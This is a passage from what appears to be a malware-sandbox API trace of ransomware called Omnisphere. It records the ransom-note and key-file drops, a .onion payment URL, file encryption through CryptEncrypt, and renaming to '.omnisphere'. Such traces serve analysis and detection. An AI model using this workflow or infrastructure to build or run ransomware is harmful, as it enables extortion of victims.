pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0147.499] GetProcessHeap () returned 0x1600000 [0147.499] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172eb50 [0147.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0147.499] GetProcessHeap () returned 0x1600000 [0147.499] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fda28 [0147.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fda28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0147.499] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0147.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.500] GetProcessHeap () returned 0x1600000 [0147.500] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726af8 [0147.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726af8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0147.500] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0147.500] GetProcessHeap () returned 0x1600000 [0147.500] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x172f070 [0147.500] PathCombineW (in: pszDest=0x172f070, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0147.500] GetProcessHeap () returned 0x1600000 [0147.500] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1719fd8 [0147.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.500] WriteFile (in: hFile=0x3c0, lpBuffer=0x1719fd8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1719fd8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0147.500] CloseHandle (hObject=0x3c0) returned 1 [0147.501] GetProcessHeap () returned 0x1600000 [0147.502] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172eb50 | out: hHeap=0x1600000) returned 1 [0147.502] GetProcessHeap () returned 0x1600000 [0147.502] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172aa38 [0147.502] PathCombineW (in: pszDest=0x172aa38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0147.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.502] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0147.502] CloseHandle (hObject=0x3c0) returned 1 [0147.503] GetProcessHeap () returned 0x1600000 [0147.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172aa38 | out: hHeap=0x1600000) returned 1 [0147.503] GetProcessHeap () returned 0x1600000 [0147.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e780 | out: hHeap=0x1600000) returned 1 [0147.503] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8ea7682, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x31e, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0147.503] GetProcessHeap () returned 0x1600000 [0147.503] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x1625a28 [0147.503] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="Desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" [0147.503] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0147.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.504] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=798) returned 1 [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.504] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] GetTickCount () returned 0x1164b2a [0147.505] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668ce0) returned 1 [0147.505] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396a8) returned 1 [0147.505] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.505] CryptDestroyKey (hKey=0x16396a8) returned 1 [0147.506] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0147.506] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31e, lpName=0x0) returned 0x388 [0147.506] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31e) returned 0x1480000 [0147.506] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16689b0) returned 1 [0147.506] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0147.506] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.509] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.509] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0147.509] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.509] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.509] GetProcessHeap () returned 0x1600000 [0147.509] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2dc) returned 0x172eb50 [0147.509] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.omnisphere")) returned 1 [0147.511] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.omnisphere.id" [0147.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.513] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.514] CloseHandle (hObject=0x3b4) returned 1 [0147.516] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.516] CloseHandle (hObject=0x388) returned 1 [0147.516] SetEndOfFile (hFile=0x3c0) returned 1 [0147.519] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.523] CloseHandle (hObject=0x3c0) returned 1 [0147.523] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0147.523] GetProcessHeap () returned 0x1600000 [0147.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172f160 [0147.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0147.524] GetProcessHeap () returned 0x1600000 [0147.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd910 [0147.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd910, cbMultiByte=31, 